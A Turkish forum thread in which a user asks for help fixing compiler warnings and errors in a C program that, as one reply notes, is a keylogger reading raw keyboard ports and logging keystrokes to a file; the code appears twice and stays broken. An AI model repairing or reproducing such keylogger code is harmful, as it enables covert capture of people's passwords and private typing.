C++ Derlerken Hata

Başlatan İskender, 24 Kasım 2012 - 13:49:46

« önceki - sonraki »

0 Üyeler ve 1 Ziyaretçi konuyu incelemekte.

İskender

iskender@pandora:~/Masaüstü$ gcc key.cpp -o key
key.cpp:15:28: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
key.cpp:15:96: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
key.cpp:16:73: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
key.cpp:16:79: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
key.cpp:16:90: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]

hatasını alıyorum..  Ne manaya geliyor acaba ?

sem

Merhabalar,


Hata (error) değil de uyarı (warning) vermiş derleyici.


Kullandığnız karakter dizisi değişkenlerini kontrol eder misiniz? Tek tırnak içerisinde mi yazılmış; Tek tırnak (') tek bir karakter için geçerli çift tırnak (") ise karakter dizisi tanımlarken kullanılıyor.


char var = 'Y';   // char değişkeni için tek tırnak
char varArray[] = "XYZ"; // karakter dizisi için çift tırnak


Anladığım kadarı ile şöyle bir kullanım va;


char varArray[] = 'XYZ'; // karakter dizisi için tek tırnak!!!


Durumu kontrol edebilir misiniz?



".NET çemberinden geçen lirisist etkisi bir 'Volcano', bir yüzüm Java bir yüzüm Badalamenti Don Tano"
----------------------------------------------------------------------------------------------------------------------
"Her yer ölüm yine, burası dünya
Derken ölüm bile bu nasıl dünya?
Benden ölüm dile, batıyor gün yine
Burası dünya?

İskender

#2
kontrol ettim ve dediğiniz gibi değiştirdim ancak:



iskender@pandora:~$ cd Masaüstü
iskender@pandora:~/Masaüstü$ gcc key.cpp -o keykey.cpp: 'char key(int)' fonksiyonunda:
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]
key.cpp:17:67: hata: 'const char*' türünden 'int' türüne dönüşüm geçersiz [-fpermissive]

sem

char türünden adres tutan bir değişkeni (yani bir göstericiyi) bir int türüne dönüştürmeye çalıştığınız hatası döndürmüş derleyici.


Kodlar kritik anlamda saklı projede değilse, paylaşabilirseniz, daha rahat çözüm sağlayabiliriz sanırım.


17 satırı kontrol etmiş miydiniz bu hatadan sonra?
".NET çemberinden geçen lirisist etkisi bir 'Volcano', bir yüzüm Java bir yüzüm Badalamenti Don Tano"
----------------------------------------------------------------------------------------------------------------------
"Her yer ölüm yine, burası dünya
Derken ölüm bile bu nasıl dünya?
Benden ölüm dile, batıyor gün yine
Burası dünya?

İskender

Ben kontrol ettim ancak 17. satırdan sonra pek bir şey göremedim kodlarım bur da umarım yardımcı olabilirsin...

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#define KB_IO 0X60
#define KB_ST 0x64
#define SLEEP 50
        char key(int code) {
                int i;
                int ascii_code[] = {
                11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,
                31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
                51, 52, 53, 57};
                int ascii_char[] = {
                    "0", "\'", "ì", "\b", "\t", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "é",
                    "+", "\n", "a", "s", "d", "f", "g", "h", "j", "k", "l", "ò", "à", "<", "ù", "z",
                    "x", "c", "v", "b", "n", "m", ",", ".","-"," "};

                for (i = 0; i < 42; i++) {
                        if (code == ascii_code[i])
                                return ascii_char[i];
                }
        }
        int main(int argc, char **argv) {
                int code = 0;
                int last = 0;
                FILE *file;
                if (!argv[1]) {
                        fprintf(stderr, "%s <dosya>\n", argv[0]);
                        exit(1);
                }
                if (!(file = fopen(argv[1], "w"))) {
                        fprintf(stderr, "Dosya Yazılamıyor %s\n", argv[1]);
                        exit(2);
                }
                if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
                        fprintf(stderr, "Klavyede port I / O erişmek imkansız\n");
                        exit(3);                }
                while (1) {
                        code = 0;
                        if (inb(KB_ST) == 20)
                                code = inb(KB_IO);
                        if (code) {
                                if (code != last) {
                                        last = code;
                                        if (key(code)) {
                                                fprintf(file, "%c", key(code));
                                                fflush(file);
                                                        }
                                                     }
                        }
                        usleep(SLEEP);
                }
                return 0;
        }


sem

Aldığımız 1. Hata;



deneme.cpp:17:67: error: invalid conversion from 'const char*' to 'int' [-fpermissive]


Nedeni;


int asci_char[] dizisinde bir sorun var; her bir eleman karakter olarak değer aldığı halde öncelikle dizinin türü int olarka verilmiş. Farz edelimki bu dizinin türü gözden kaçtı ve aslında bir char türü dizisi olacak iken int olarak yazılmış. Fakat bu durumda da hata alırsınız çünkü değişkenlerin hiç birisi ne int ne de char. Bu değişkenleri iki değişkende tutabilirsiniz; char* ya da char[] türünde. Bu durumda asci_char değişkeninin türü aşağıdaki gibi bir yol ile belirtilebilir;


char * ascii_code[];  // Karater dizilerini tutacak olan bir gösterici.
char **ascii_code;   // Karakter dizilerini tutan karakter göstericisi.




Eğer değişikenin türü doğru ise yani tanımı aşağıdaki gibi yapılacak ise;


char  asci_code[];


Bu türün her bir elemanı char türüden bir değişken olmalıdır. Yani bu dizinin her elemanı için bellekte sizof(char) olarak yer ayrılır. Fakat yukarıda da belirttiğim gibi char türü C dilinde tek tırnak ile gösterilir. Fakat siz tüm değişkenleri çift tırnak ile göstermişsiniz. Mesela;


ascii_code[0] = 'a';


Yani gördüğünüz gibi elemana değer veririken, elemanın türüne bakmalıyız. Burada ascii_code değişkeni bir karakter türünden bir diziyi tutabilir. Bu demek oluyor ki her bir elemanı sadece bir karakter olabilir. Fakat siz atama işlemi yaparken çift tırnak kullanmışsınız. Bu durumda derleyici char/int türünde bir değişken beklerden siz ona char* ya da char[] türünde bir değişken atamış oluyorsunuz.


1. olarak aldığımız hatanın nedeni bu. Yani gerçekten tam olarak hatadaki gibi char* türünü int türüne atamaya çalışıyoruz.






2. Olarak aldığımız "uyarı":



deneme.cpp:17:67: error: invalid conversion from 'const char*' to 'int' [-fpermissive]


Bu bir hata uyarı. Aslında açıkcası bu uyarının Türkçe meali; ASCII'nin dışına çıkıyorsun haberin olsun diyor. Yani bir karakterlik bir alana bir karakterden fazla yer kaplayan bir değişken atıyorsun diyor. Gerçekten de değişken olarak atamak istediğiniz aşağıdaki değişkenler, ASCII tablosunun ilk 128 karakterinde bulunmuyor.


ù, é, ì




http://www.asciitable.com/


Buradan ASCII tablosunu görebilirsiniz. Nasıl aşacağım bu sorunu derseniz yapınızı int yerine string olarak tanımlayarak başlayabilirsiniz. Farklı ben sizin yerinizde olsaydım; forumda araştırma yaparım, eğer bulamazsam;


C++ UTF 8 Derleme Sorunu


diye başlık açardım. Çünkü gerçekten can alıcı bir konu bu... Hem hepimiz araştırmış oluruz. =)=)=)=)




Kolay gelsin...
".NET çemberinden geçen lirisist etkisi bir 'Volcano', bir yüzüm Java bir yüzüm Badalamenti Don Tano"
----------------------------------------------------------------------------------------------------------------------
"Her yer ölüm yine, burası dünya
Derken ölüm bile bu nasıl dünya?
Benden ölüm dile, batıyor gün yine
Burası dünya?

İskender

Öncelikle verdiğin yanıt için teşekkür ediyorum ve şunu ekliyorum ki konuya açıklık getireyim.. Programın ilk halini vermedim ben yani ilk sorunlu halini
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#define KB_IO 0X60
#define KB_ST 0x64
#define SLEEP 50
        char key(int code) {
                int i;
                int ascii_code[] = {
                11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,
                31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
                51, 52, 53, 57};
                int ascii_charArray[] = {
                '0', '\'', 'ì', '\b', '\t', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'è',
                '+', '\n', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'ò', 'à', '<', 'ù', 'z',
                'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '-', ' '};

                for (i = 0; i < 42; i++) {
                        if (code == ascii_code[i])
                                return ascii_char[i];
                }
        }
        int main(int argc, char **argv) {
                int code = 0;
                int last = 0;
                FILE *file;
                if (!argv[1]) {
                        fprintf(stderr, "%s <dosya>\n", argv[0]);
                        exit(1);
                }
                if (!(file = fopen(argv[1], "w"))) {
                        fprintf(stderr, "Dosya Yazılamıyor %s\n", argv[1]);
                        exit(2);
                }
                if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
                        fprintf(stderr, "Klavyede port I / O erişmek imkansız\n");
                        exit(3);                }
                while (1) {
                        code = 0;
                        if (inb(KB_ST) == 20)
                                code = inb(KB_IO);
                        if (code) {
                                if (code != last) {
                                        last = code;
                                        if (key(code)) {
                                                fprintf(file, "%c", key(code));
                                                fflush(file);
                                                        }
                                                     }
                        }
                        usleep(SLEEP);
                }
                return 0;
        }



Bu Programın ilk haliydi ki büyük ihtimalle yukarıda bahsettiğin tek tırnak mevzusu budur..


ancak terminal çıktısı


iskender@pandora:~$ cd Masaüstü
iskender@pandora:~/Masaüstü$ gcc tek.cpp -o tek
tek.cpp:15:28: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
tek.cpp:15:96: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
tek.cpp:16:73: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
tek.cpp:16:79: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
tek.cpp:16:90: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
tek.cpp: 'char key(int)' fonksiyonunda:
tek.cpp:21:40: hata: 'ascii_char' bu etki alanında bildirilmemiş

ki buda beni başladığım yere dönderir..

sem

Tamamdır =)


Aynen dediğin gibi en başa gelmiş oluyoruz. Şimdi burada 2 şey var birincisi uyarılar... Uyarılar dediğim gibi ASCII tablosunun ilk 128 karakterinden bulunmayan karakterlerden kaynaklanıyor yani şapkalı karakterlerden kaynaklanıyor.


Uyarılar sadece programcıyı uyarır, derlemeye engel  olmazlar ve uygulamamız tüm uyarılara rağmen derlenir ve çalıştırabiliriz. Artık bir sorun olursa bu derleme zamanı değil çalışma zamanı hatasıdır geliştirici için.


Siz derleyip çalıştıramadınız uygualamayı çünkü bir tane de hata mevcut çıktılarda. O da;


21. satırda bulunan;


return ascii_char[ j ];  // Bu index aslında i ama forumda i koyunca italik yazı oluyor ondan j olarak çevirdim =)


ifadesi.. ascii_code ve ascii_charArray isimli diziler mevcut. Fakat mevcut kod içerisinde tanımlı ascii_char isimli bir dizi bulunmuyor.


Bu hatayı giderdikten sonra bir çalıştırmayı deneyin isterseniz, bakalım çalışma zamanında ne hataları alacağız. =)


Kolay gelsin.
".NET çemberinden geçen lirisist etkisi bir 'Volcano', bir yüzüm Java bir yüzüm Badalamenti Don Tano"
----------------------------------------------------------------------------------------------------------------------
"Her yer ölüm yine, burası dünya
Derken ölüm bile bu nasıl dünya?
Benden ölüm dile, batıyor gün yine
Burası dünya?

İskender

iskender@pandora:~/Masaüstü$ gcc tek.cpp -o Tek
tek.cpp:15:28: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
tek.cpp:15:96: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
tek.cpp:16:73: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
tek.cpp:16:79: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]
tek.cpp:16:90: UYARI: çoklu-karakter karakter sabiti [-Wmultichar]

bir hatayı daha aştım.. Öbür karakterlere gelirse verdiğin sitede [size=78%]http://www.asciitable.com/[/size] burada o karakterler görünüyor..

sem

Evet fakat uzatılmış kısımda mevcut... Şu anda ASCII tablosu denildiğinde ilk 128 karakter algılanıyor. Ve şapkalı olan karakterler ilk 128'de bulunmuyor, farketmişsinizdir.


Kullanmadığım fonksiyonlar, o nedenle tam olarak işlevini kestiremedim. Çalıştırdığımdan anladığım kadarı ile keylogger tarzı bir uygulama... UTF desteği gerekli diye anlıyorum ama emin olamadım... Örneğin bir Ş harfi bu hali ile aynı uyarıyı verecektir.


Siz çalıştırdığınızda istdiğiniz sonucu alabiliyor musunuz? Ben de bastığım tuşları doğru yazmıyor?
".NET çemberinden geçen lirisist etkisi bir 'Volcano', bir yüzüm Java bir yüzüm Badalamenti Don Tano"
----------------------------------------------------------------------------------------------------------------------
"Her yer ölüm yine, burası dünya
Derken ölüm bile bu nasıl dünya?
Benden ölüm dile, batıyor gün yine
Burası dünya?

İskender

bende hiç yanıt vermiyor..

iskender@pandora:~$ cd Masaüstü
iskender@pandora:~/Masaüstü$ ./Tek
./Tek <dosya>



sem

İlk if() koşulu ile yanı aşağıdaki satır ile;


if (!argv[1]) {
    fprintf(stderr, "%s <dosya>\n", argv[0]);                       
    exit(1);               
}



1. komut satırı argümanının null olup olmadığı kontrol ediliyor (0. argüman program ismi zaten). Yani uygulama kullanıcıdan dosya ismi girmesini bekliyor;

./uygulama DosyaDeneme gibi.Hata alırsanız root olarak deneyin ya da sudo da iş görebilir. Yalnız fonksiyonların tam anlamı ile ne işe yaradığını bilmiyorum altını çizeyim onun. Ben denedim sudo ile ya da root olarak hatırlamıyorum, istenilen gibi çalışmıyor sanırım
".NET çemberinden geçen lirisist etkisi bir 'Volcano', bir yüzüm Java bir yüzüm Badalamenti Don Tano"
----------------------------------------------------------------------------------------------------------------------
"Her yer ölüm yine, burası dünya
Derken ölüm bile bu nasıl dünya?
Benden ölüm dile, batıyor gün yine
Burası dünya?

sem

Konuda gelişme var mı, sorun çözüldü mü acaba sorun?
".NET çemberinden geçen lirisist etkisi bir 'Volcano', bir yüzüm Java bir yüzüm Badalamenti Don Tano"
----------------------------------------------------------------------------------------------------------------------
"Her yer ölüm yine, burası dünya
Derken ölüm bile bu nasıl dünya?
Benden ölüm dile, batıyor gün yine
Burası dünya?

İskender

malesef ilerleme yok.. (Sebebi Win8 yükledim ve yanına daha Ubuntu yüklemedim Yüklediğim zaman haber veririm..)

sem

Bunu saymayız, yine bekleriz =)...
".NET çemberinden geçen lirisist etkisi bir 'Volcano', bir yüzüm Java bir yüzüm Badalamenti Don Tano"
----------------------------------------------------------------------------------------------------------------------
"Her yer ölüm yine, burası dünya
Derken ölüm bile bu nasıl dünya?
Benden ölüm dile, batıyor gün yine
Burası dünya?